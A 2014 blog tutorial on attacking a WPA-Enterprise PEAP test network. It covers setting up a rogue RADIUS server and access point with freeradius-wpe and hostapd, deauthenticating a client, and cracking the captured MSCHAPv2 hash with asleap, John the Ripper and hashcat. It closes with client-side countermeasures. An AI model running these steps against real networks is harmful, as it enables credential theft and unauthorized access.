Monday, March 3, 2014

Wireless Pentesting on the Cheap (Kali + TL-WN722N) - WPA-Enterprise - Part II

By Tony Lee

Introduction

In our previous articles we used TP-Link’s TL-WN722N and a Kali Virtual Machine (VM) to perform wireless discovery and attack against a Wired Equivalent Privacy (WEP) network, WPA (Pre-Shared Key) PSK network, a network hiding its SSID, a MAC filtering network, and our first round of WPA-Enterprise networks (LEAP and EAP-MD5) to showcase the abilities of this inexpensive and flexible setup.
In this article we will complete our tests by attacking a test WPA-Enterprise network that uses Protected EAP (PEAP).


Figure 1:  Our setup
Consult our previous article WEP for the following topics as they are omitted from this article due to similarity:
  • Equipment
    • Hardware
    • Software
  • Tips and tricks
    • Version of Workstation
    • Screen Resolution
    • Simple Text Editor
  • Connecting the USB Device

Outline

  • Preparation
  • WPA-Enterprise Refresher
  • Discovery
  • Attack
    • PEAP and EAP-TLS Explained
    • Install the Software
      • freeradius-server-2.1.12
      • freeradius-wpe patch
      • hostapd v2.0
    • Start the RADIUS Server
    • Start the Fake AP
    • Deauthenticate the Client
    • Brute-force the Credentials
      • MSCHAPv2
      • EAPMD5
  • Connect
  • Countermeasures
  • Conclusion

Preparation

NetworkManager (included in the default Kali Linux) can cause problems when trying to complete simple tasks such as connecting to wireless networks.  To prevent any interference, we will disable it ahead of time.

root@kali:~# service network-manager stop
[ ok ] Stopping network connection manager: NetworkManager.


WPA-Enterprise Refresher

We already looked at breaking WEP and WPA-PSK networks in previous articles and mentioned that the danger in using these wireless standards is that there is a shared static key that should be changed every time someone with knowledge of the key leaves the company.  After all, you wouldn’t want an ex-employee still being able to connect to the network after their departure--would you?  This is a security issue in any company that has regular turn over.  So what is the alternative?  WPA-Enterprise of course!
WPA-Enterprise is ideal for large organizations because it does not use a single shared key in which all users use to connect to the wireless network.  Each user has their own account (usually username and password) that they use to authenticate to the network.  Best of all these accounts can be centrally authenticated and managed--even linked into existing account repositories such as Active Directory or LDAP.  When an employee leaves the company and their account is terminated in Active Directory, it would also be terminated from the wireless if authentication is passed through.
The other unique WPA-Enterprise attribute is its use of Extensible Authentication Protocols (EAPs).  This allows multiple implementations and increased flexibility for corporations.  This flexibility is a double edge sword though as not all EAP types are created equal (in terms of security or ease of deployment).  We discussed LEAP and EAP-MD5 in the previous article.  The EAP types we will discuss in this article are bolded below (feel free to skip non-bolded as they are present to be complete):
  • LEAP - Lightweight EAP
    • Credentials are sent without SSL tunnel protection, using the MS-CHAP authentication protocol.
    • “[P]roprietary wireless LAN authentication method developed by Cisco Systems”
    • “LEAP uses a modified version of MS-CHAP, an authentication protocol in which user credentials are not strongly protected.”
    • “Cisco LEAP, similar to WEP, has had well-known security weaknesses since 2003 involving offline password cracking.”
  • EAP-MD5
  • PEAP - (Protected EAP)
    • “[E]ncapsulates the Extensible Authentication Protocol (EAP) within an encrypted and authenticated Transport Layer Security (TLS) tunnel”
    • “Jointly developed by Cisco Systems, Microsoft, and RSA Security.”
    • “Requiring only a server-side PKI certificate to create a secure TLS tunnel to protect user authentication, and uses server-side public key certificates to authenticate the server”
    • Most common inner authentication protocols are MSCHAPv2 and GTC (tokens)
  • EAP-TLS - (EAP-Transport Layer Security)
    • “[U]ses PKI to secure communication to a RADIUS authentication server or another type of authentication server.”
    • “Though it is rarely deployed, EAP-TLS is still considered one of the most secure EAP standards available and is universally supported by all manufacturers of wireless LAN hardware and software.”
    • Requires client-side certificate, which prevents many organizations from using it.
  • EAP-FAST - (Flexible Authentication via Secure Tunneling)
    • “[A] protocol proposal by Cisco Systems as a replacement for LEAP.”
    • “Use of server certificates is optional in EAP-FAST.”
    • “EAP-FAST uses a Protected Access Credential (PAC) to establish a TLS tunnel in which client credentials are verified.”
    • “When automatic PAC provisioning is enabled, EAP-FAST has a slight vulnerability where an attacker can intercept the PAC and use that to compromise user credentials.”

Discovery (kismet)

In previous articles, we used iwlist, airodump-ng, and Kismet to discover wireless networks.  This is also the case here.  Take a look below at the information that iwlist provides.

root@kali:~# iwlist wlan1 scanning | grep -A 30 CorpNetwork
                   ESSID:"CorpNetwork"
                   Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s
                   Mode:Master
                   Extra:tsf=000000000d674180
                   Extra: Last beacon: 96ms ago
                   IE: Unknown: 000B436F72704E6574776F726B
                   IE: Unknown: 010482840B16
                   IE: Unknown: 030101
                   IE: IEEE 802.11i/WPA2 Version 1
                       Group Cipher : TKIP
                       Pairwise Ciphers (2) : CCMP TKIP
                       Authentication Suites (1) : 802.1x
--snip--


Even though these three tools can identify WPA-Enterprise networks, none of them can tell you the EAP type.  For this we use Wireshark to inspect the packets.  Let’s capture some traffic with airodump-ng and inspect it with Wireshark, but first we want to place the wireless card into “Monitor” mode.


root@kali:~# airmon-ng start wlan0


We first use airodump-ng without any options in order to discover the network we want to examine and its details.  After we are obtain this information, we focus our collection efforts by locking onto the channel and AP.


Syntax:
airodump-ng -c <CHANNEL> --bssid  <APMAC> -w <FILE PREFIX> <INT>

Key:
-c = Channel that the AP is on
--bssid = MAC address of the AP
-w = Prefix of the file name that you want to write data to
<INT> = Interface we will be capturing on

Attack:
airodump-ng --bssid A0:F3:C1:0C:B6:46 -c 1 -w mysteryEAP mon0



Figure 2:  airodump-ng is detecting wireless networks
From this screenshot, we will note a few items for the attack later:

Variable name = Description:  Value
==============================
$ESSID = ESSID:  CorpNetwork
$CH = Channel:  1
$AP = AP MAC: A0:F3:C1:0C:B6:46
$VM = Victim user MAC:  24:77:03:8C:D3:44


Now that our capture is running, we can inspect the packets with Wireshark.  In order to discover the EAP type, we can use Wireshark’s “Statistics -> Protocol Hierarchy” feature.  Look for 802.1X Authentication and apply a filter to those selected packets.  A shortcut would be to type “eapol” in the display filters.
Figure 3:  Wireshark Protocol Hierarchy feature
After applying the filters, we see that the EAP type is Protected EAP (PEAP).
Figure 4:  EAP type is PEAP

Attack

Now that discovery is complete and we understand the EAP type, we will examine the attack methodology for PEAP and EAP-TLS.

PEAP and EAP-TLS Explained

Since PEAP and EAP-TLS use a secure tunnel to pass the inner authentication protocol, we will need to create a fake RADIUS server and fake access point and convince the client to connect to our infrastructure.  This will be accomplished by having a stronger signal than their access point and then deauthenticating the client so they connect to our AP.
The diagrams below help to illustrate the attack process.  In the first image, we see normal operation of a client connected to the access point and the access point passing the authentication on to the RADIUS server.
Figure 5:  Normal operation in which client is connected to legitimate network
In the second image, we see a deauth attack followed by the client connecting to the fake access point and an attempt to authenticate to the attackers RADIUS server.
Figure 6:  After wireless client is deauthenticated, the client will hopefully connect to our fake access point
This should yield the information necessary to begin a brute force attack of the credentials.  Let’s look at the detailed steps that are required in getting this setup in our environment.  Our steps taken with this setup are outlined below:
  • Install the Software
  • Start the RADIUS Server
  • Start the Fake AP
  • Deauthenticate the Client
  • Brute-force the Credentials

Install the Software

This attack requires a decent amount of software that is not installed by default on the Kali Linux attack image.  The software we need is:
  • freeradius-server-2.1.12
  • freeradius-wpe (Wireless Pwnage Edition) patch
  • hostapd v2.0

We have greatly simplified the download and install of the RADIUS attack service by listing the commands needed below.  The freeradius-server-2.1.12 and the patch can be downloaded and applied by copying and pasting the following commands into a terminal as root:

wget ftp://ftp.freeradius.org/pub/radius/old/freeradius-server-2.1.12.tar.bz2
wget https://raw.github.com/brad-anton/freeradius-wpe/master/freeradius-wpe.patch
tar -jxvf freeradius-server-2.1.12.tar.bz2
cd freeradius-server-2.1.12
patch -p1 < ../freeradius-wpe.patch
./configure
make
make install
ldconfig


Explanation of the commands above:  
The first two wget statements download both the freeradius server and the patch for wpe.  The next line decompresses the freeradius-server package.  Then we change directories into the decompressed directory and run the patch.  Then we compile and install the application.
After running the commands above, test the freeradius server to make sure the patch was applied by running it with the (-v) version option.  You should see “FreeRADIUS-WPE” in the banner.

root@kali:~/freeradius-server-2.1.12# radiusd -v
radiusd: FreeRADIUS-WPE Version 2.1.12, for host i686-pc-linux-gnu, built on Jul 29 2013 at 10:34:02
--snip--


The version of hostapd that Kali has in its repositories is 1.X--which has a limitation of only being able to negotiate WPA1.  If we want to be able to attack WPA2 networks, we need to install hostapd v2.0 from source.  We have simplified the installation and troubleshooting of the hostapd service by listing the commands below for your copy and paste pleasure:

wget http://hostap.epitest.fi/releases/hostapd-2.0.tar.gz
tar -zxvf hostapd-2.0.tar.gz
cd hostapd-2.0/
cd hostapd/
cp defconfig .config
apt-get install libnl-dev
apt-get update
apt-get install libssl-dev
make && make install


Explanation of the commands above:  
The first command obtains the latest source code for hostapd.  The next three commands decompress the package and navigate to the proper directory for compilation.  We then create a configuration file for compiling.  The next three commands grab necessary libraries and finally the last command compiles and installs the binaries.
After all the software is installed, we can start the attack.

Start the RADIUS Server

We can attempt to start the RADIUS server and perform the attack, but there is one configuration change that we needed to make in order to successfully capture credentials from a Windows client using AD pass through authentication.
The file we needed to edit is:
/usr/local/etc/raddb/modules/mschap
We had to make sure the line “with_ntdomain_hack” was set to yes and uncommented as shown below:

       # Windows sends us a username in the form of
       # DOMAIN\user, but sends the challenge response
       # based on only the user portion.  This hack
       # corrects for that incorrect behavior.
       #
       with_ntdomain_hack = yes


When that line is commented we received the following error message:  “Could not recover last 2 bytes of hash from the challenge/response.”
Figure 7:  Error message when “with_ntdomain_hack” was not set to yes
Now that we have the configuration file modified, we should be ready to start radiusd.

Syntax:
radiusd -X

Key:
-X = Debugging mode. When trying to understand how the server works, ALWAYS run it with "radiusd -X".


The screenshot below shows the expected behavior of running “radiusd -X”.  The configuration will flash by and then the screen will hang until there is input from the fake access point that we set up in the next step.
Figure 8:  radiusd is ready to process requests

Start the Fake AP

If we want to trick the victim to connect to our setup, we need a fake access point.  This can be a hardware based access point, such as the Netgear home router we have been using in the previous articles, or we can create a software access point.  Because a software access point is more flexible and portable, we will use the hostapd software AP in this article.  The hostapd software requires a configuration file.  Feel free to use our example file below to get you started:

interface=wlan0
driver=nl80211
ssid=CorpNetwork
logger_stdout=-1
logger_stdout_level=0
dump_file=/tmp/hostapd.dump
ieee8021x=1
eapol_key_index_workaround=0
own_ip_addr=127.0.0.1
auth_server_addr=127.0.0.1
auth_server_port=1812
auth_server_shared_secret=testing123
wpa=2
wpa_key_mgmt=WPA-EAP
channel=1
wpa_pairwise=TKIP CCMP


After you have entered the data above in a file called hostapd.conf, run the software and supply the configuration file as shown below:

Syntax:
hostapd <configuration file>

Syntax:
hostapd ./hostapd.conf


After running hostapd, your screen should look like the following screenshot:
Figure 9:  hostapd will display minimal output after it is ready to receive the first wireless client

Deauthenticate the Client

Now that we have our RADIUS server and fake access point ready to go, we need a client to authenticate to us.  We could be patient and wait for any client to connect or reconnect to our AP or we could help speed the process up.  Our goal here is to deauthenticate (aka kick a client off the network) so they reconnect to the network.  Upon client reauthentication, we will trick them to connect to our fake access point and RADIUS server so they will create the encrypted tunnel with us and pass their inner authentication credentials.
In our example, the victim information found during the discovery phase is summarized below:

Variable name = Description:  Value
==============================
$ESSID = ESSID:  CorpNetwork
$CH = Channel:  1
$AP = AP MAC: A0:F3:C1:0C:B6:46
$VM = Victim user MAC:  24:77:03:8C:D3:44


Now, let’s knock the victim off the wireless network using aireplay’s deauthentication attack.

Syntax:
aireplay-ng -0 25 -a <AP> -c < VICTIM_MAC> <INT>

Key:
-0 = (same as --deauth) deauthentication attack
-a = MAC address of the AP
-c = Victim MAC address
<INT> = Interface we will be attacking from

Attack:
aireplay-ng -0 25 -a $AP -c $VM mon0


If the client reconnects to your access point, you will see traffic on both the freeradius-wpe screen as well as the hostapd screen.  However, the real goods will be displayed in the freeradius-server-wpe.log file:

root@kali:~# tail -f /usr/local/var/log/radius/freeradius-server-wpe.log


The client authentication will fail, but this still provides us with the MSCHAPv2 challenge/response we need to crack the user’s password shown in the next section.
Figure 10:  The user’s authentication will fail, but we will have the challenge/response needed to crack the password

Brute-force the Credentials

Since the attack on these WPA-Enterprise inner authentication protocols is an off-line brute-force attack, you will first need a sufficiently large wordlist to supply to the cracking program.  The rockyou.com word list is a good start as it is almost 14.5 million passwords.  In order to use the rockyou.com wordlist, you will have to uncompress it as shown below:

root@kali:/usr/share/wordlists# ls
rockyou.txt.gz

root@kali:/usr/share/wordlists# gunzip rockyou.txt.gz

root@kali:/usr/share/wordlists# ls
rockyou.txt

root@kali:/usr/share/wordlists# wc -l rockyou.txt
14344392 rockyou.txt


MSCHAPv2

Since the inner authentication protocol was MSCHAPv2 in this example, we will use Josh Wright’s asleap tool as shown below.  We will supply the challenge (-C), response (-R), and the wordlist (-W):

Syntax:
root@kali:~# asleap
asleap 2.2 - actively recover LEAP/PPTP passwords. <jwright@hasborg.com>
asleap: Must supply an interface with -i, or a stored file with -r
Usage: asleap [options]

-r Read from a libpcap file
-i Interface to capture on
-f Dictionary file with NT hashes
-n Index file for NT hashes
-s Skip the check to make sure authentication was successful
-h Output this help information and exit
-v Print verbose information (more -v for more verbosity)
-V Print program version and exit
-C Challenge value in colon-delimited bytes
-R Response value in colon-delimited bytes
-W ASCII dictionary file (special purpose)

Attack:
root@kali:~# asleap -C 9f:55:58:f3:27:72:12:4e -R 79:bc:55:2e:ef:0d:33:1e:ca:5f:75:93:0d:9e:14:e3:6d:78:9b:f5:61:0a:b8:7b -W /usr/share/wordlists/rockyou.txt


The asleap tool is very fast.  It found our password of “cheekymonkeyrox” in just seconds because it is present as-is within the rockyou password list.
Figure 11:  The challenge/response is used in the asleap tool with a dictionary to recover the password

Keep in mind that passwords are case sensitive and would thus most likely require permutations of passwords as discussed in previous articles.  For more complex cracking attempts, it is possible to use John the Ripper (JTR) to perform permutations and make dictionaries larger:

Generate permutations with JTR:
/usr/sbin/john --rules -w=/usr/share/wordlists/rockyou.txt --stdout

Feed JTR permutations into asleap:
/usr/sbin/john --rules -w=/usr/share/wordlists/rockyou.txt --stdout | asleap -W - -C <CHALLENGE> -R <RESPONSE>

Example:
/usr/sbin/john --rules -w=/usr/share/wordlists/rockyou.txt --stdout | asleap -C 9f:55:58:f3:27:72:12:4e -R 79:bc:55:2e:ef:0d:33:1e:ca:5f:75:93:0d:9e:14:e3:6d:78:9b:f5:61:0a:b8:7b -W -

EAP-MD5

If the inner authentication protocol is EAP-MD5 use the eapmd5pass tool:

Syntax:
root@kali:~# eapmd5pass
eapmd5pass - Dictionary attack against EAP-MD5

Usage: eapmd5pass [ -i <int> | -r <pcapfile> ] [ -w wordfile ] [options]

 -i <iface> interface name
 -r <pcapfile> read from a named libpcap file
 -w <wordfile> use wordfile for possible passwords.
 -b <bssid> BSSID of target network (default: all)
 -U <username> Username of EAP-MD5 user.
 -C <chal> EAP-MD5 challenge value.
 -R <response> EAP-MD5 response value.
 -E <eapid> EAP-MD5 response EAP ID value.
 -v increase verbosity level (max 3)
 -V version information
 -h usage information

The "-r" and "[-U|-C|-R|-E]" options are not meant to be used together.  Use -r when a packet capture is available.  Specify the username, challenge and response when available through other means.

Attack:
root@kali:~# eapmd5pass -w /usr/share/wordlists/rockyou.txt -r WPAcapture-01.cap




For more complex cracking attempts, it is possible to use John the Ripper (JTR) to perform permutations and make dictionaries larger:

Generate permutations with JTR:
/usr/sbin/john --rules -w=/usr/share/wordlists/rockyou.txt --stdout

Feed JTR permutations into eapmd5pass:
/usr/sbin/john --rules -w=/usr/share/wordlists/rockyou.txt --stdout | eapmd5pass -w - -r <PCAP>

Example:
/usr/sbin/john --rules -w=/usr/share/wordlists/rockyou.txt --stdout | eapmd5pass -w - -r WPAcapture-01.cap




Connect

Now that we have recovered the credentials, we will connect to the AP using the configuration files below:

Check the status of the card:
root@kali:~#  iwconfig wlan0

Enter the network information:
root@kali:~# iwconfig wlan0 essid "QX3A7"

Bring the Interface up:
root@kali:~# ifconfig wlan0 up

Create wpa_supplicant file:
network={
   ssid="CorpNetwork"
   scan_ssid=1
   key_mgmt=WPA-EAP
   eap=PEAP
   identity="TonyTestUser"
   password="cheekymonkeyrox"
   phase1="peaplabel=0"
   phase2="auth=MSCHAPV2"
}

Run the wpa_supplicant:
root@kali:~# wpa_supplicant -i wlan0 -c ~/wpa-psk.conf

Obtain an IP:
root@kali:~# dhclient wlan0
Reloading /etc/samba/smb.conf: smbd only.

Verify an IP is obtained:
root@kali:~# ifconfig wlan0




Countermeasures

Even though the intention of this article is not to warn about the dangers of using WPA-Enterprise PEAP or EAP-TLS security, we feel that it is important to note that client settings can be just as important as the EAP type.  That said, we perform many wireless assessments in which we discover misconfigured clients that leave themselves open to the attack outlined in this article.  When this is the case, we recommend centrally reconfiguring the wireless clients to reflect a more secure configuration.  For example, PEAP properties should always validate server certificates, specify RADIUS servers, specify CA’s, and prevent users from overriding any suspicious events.  These secure client settings are shown in the screenshot below.
Figure 12:  Wireless client settings for PEAP

Conclusion

In this article, we proved the capabilities of an inexpensive wireless adapter and a flexible virtualized wireless attack image by breaking into a WPA-Enterprise PEAP test network.  For just $16 and no reboot required you can place a wireless adapter into monitor mode and start assessing wireless networks.  More testing needs to be done with this setup to determine other capabilities; however as of right now, it appears that it can provide quick, portable, flexible, and inexpensive wireless testing.  Feedback below is always appreciated.
If you try this with different cards and run into issues, check the following excellent resource:  http://docs.kali.org/troubleshooting/troubleshooting-wireless-driver-issues

Props

Thomas d'Otreppe for the ever critical aircrack-ng software suite
Josh Wright and Brad Antoniewicz for great work on freeradius-WPE
Josh Wright for asleap and eapmd5pass
Jouni Malinen <j@w1.fi> and contributors for hostapd
Offensive security group for Kali Linux

Dan Dumond for the sanity check and proof read

15 comments:

  1. Well Tony, this is another quality article on your site. You're setting quite a high bar for your future posts lol. Really enjoyed it and looking forward to testing some of the features out in my home environment. Already running a RADIUS server for my home wifi so this will just have me setting up the attack and trying it out. Thanks a lot for the writeup!

    ReplyDelete
    Replies
    1. Thank you for the feedback--it makes it well worth the effort and time that goes into writing these articles. I am a bit impressed that you have RADIUS authentication for your home wifi. At least you can have lots of guests use your wireless without needed to change a PSK after they leave. Thanks again.

      Delete
  2. Tony, great article. I have got radiusd and hostapd working. Client sees the AP, connects and fails to authenticate. I see the connecting in hostapd and the auth request in radiusd. But no data is written to freeradius-server-wpe.log so I do not capture the password. Suggestions?

    ReplyDelete
    Replies
    1. Thanks for the comment and question Paul. Do the following for troubleshooting purposes: Run both hostapd and radiusd with the version option to make sure you are running the version that you downloaded and installed... Kali comes pre-shipped with hostapd (and maybe radiusd) by default, but it does not seem to work with the setup described above.

      I know this one sounds strange, but if you are running the correct version and still having issues try it in a BT5 R3 image if you still have one laying around. I was on an assignment recently and ran into an issue that would not resolve with a re-install and reboot, so I used the same steps above in a BT5 R3 and it worked like a charm. I just have not had time to go back and troubleshoot why this was the case. Hope that helps sir.

      Delete
    2. Thanks Tony. I reran the install with the wpe patch for freeradius and now I can see the leap credentials in the WPE log file.

      Another question for you, have you setup a fake AP with Peap and actually had users authenticate then capture their traffic through the Kali box?

      Delete
    3. Glad to hear that a re-install worked. Absolutely, PEAP can be captured if the client is misconfigured. To view these critical client settings in Windows, go to "Manage Wireless Network" and open the properties of a WPA Enterprise network. Click on the Security tab, Settings, and then "Configure...". Clients should ideally validate the server certificate, have their RADIUS servers specified, have only the necessary CA selected, and prevented from being prompted to override security warnings. If these are not set, there is a possibility to intercept the authentication.

      Delete
  3. This article and the whole series are well written and comprehensive. I very much appreciate you taking the time to share this information.

    Much to my disappointment, I discovered while attempting this that the common silver Alfa cards (AWUS036H) do not support master mode, and therefore cannot act as an AP. That makes the TP-Link TL-WN722N you selected a good and affordable option for this exercise. Readers might want to know they can check what mode their card is in by typing "iw dev info" or "iwconfig " and they can attempt to change the mode by typing "iwconfig wlan0 mode "

    More importantly, I wanted to reference the tool eapeak:
    https://code.google.com/p/eapeak
    https://github.com/securestate/eapeak
    It simplifies the process of looking through packets to determine the type of EAP in use. Your readers should find it useful.

    ReplyDelete
  4. I don't see the file /usr/local/var/log/radius/freeradius-server-wpe.log . It seem to not exist but everything runs correctly. Is there another place where the log(s) could be?

    ReplyDelete
    Replies
    1. Hmm... Not sure. Maybe you can use find to get the path?

      find / -iname "freeradius-server-wpe.log"

      Let us know. Thanks.

      Delete
  5. Great articles, thanks for the info....

    What differs when assessing EAP-TLS with client certs?

    ReplyDelete
    Replies
    1. The client certificate should be required to connect. If you have all of the data necessary to connect except for the client certificate and you are able to connect using an unrelated device--there is something wrong with the setup. Otherwise, as an attacker you would need to compromise a client and steal the cert.

      Delete
  6. Very nice article! Such a simple security standpint of something pretty essential when talking about RADIUS. Well done.
    Question: Does it work on WPA2 in the same way?

    ReplyDelete
  7. Thanks for the excellent article. Got me exactly where I needed to go! It look me a bit to figure out how to convert the freeradius-server-wpe.log output to hashcat format, so i wanted to drop that info here.

    So that output gives you the john format which is pretty cool.

    John Format:
    TonyTestUser:$NETNTLM$9f5558f32772124e$79bc552eef0d331eca5f75930d9e14e36d789bf5610ab87b


    This is what it needs to look like to be cracked by hashcat.
    HashCat Format:
    TonyTestUser::::79bc552eef0d331eca5f75930d9e14e36d789bf5610ab87b:9f5558f32772124e

    As you can see, it is not all that complicated to manually switch things around, but Casey Dunham wrote a little Perl script to do this automatically, which I used: https://github.com/caseydunham/jtr-to-hashcat

    To use that:

    cd /opt/
    git clone https://github.com/caseydunham/jtr-to-hashcat.git
    cd jtr-to-hashcat
    perl ./ConvertToHashCat.pl input.txt output.txt

    At this point, you can finally run hashcat with mode 5500:

    Example HashCat command:
    /opt/cudaHashcat/cudaHashcat64.bin -m5500 -r rules/d3ad0ne.rule output.txt /usr/share/wordlists/rockyou.txt

    One last thing. When I ran this, the freeradius.log showed the username as domain\TonyTestUser. To get it to crack in hashcat I had to remove the domain and the backslash. Hope that helps someone. Thanks again for the post!

    ReplyDelete
    Replies
    1. Thank you for the contribution--very useful. :)

      Delete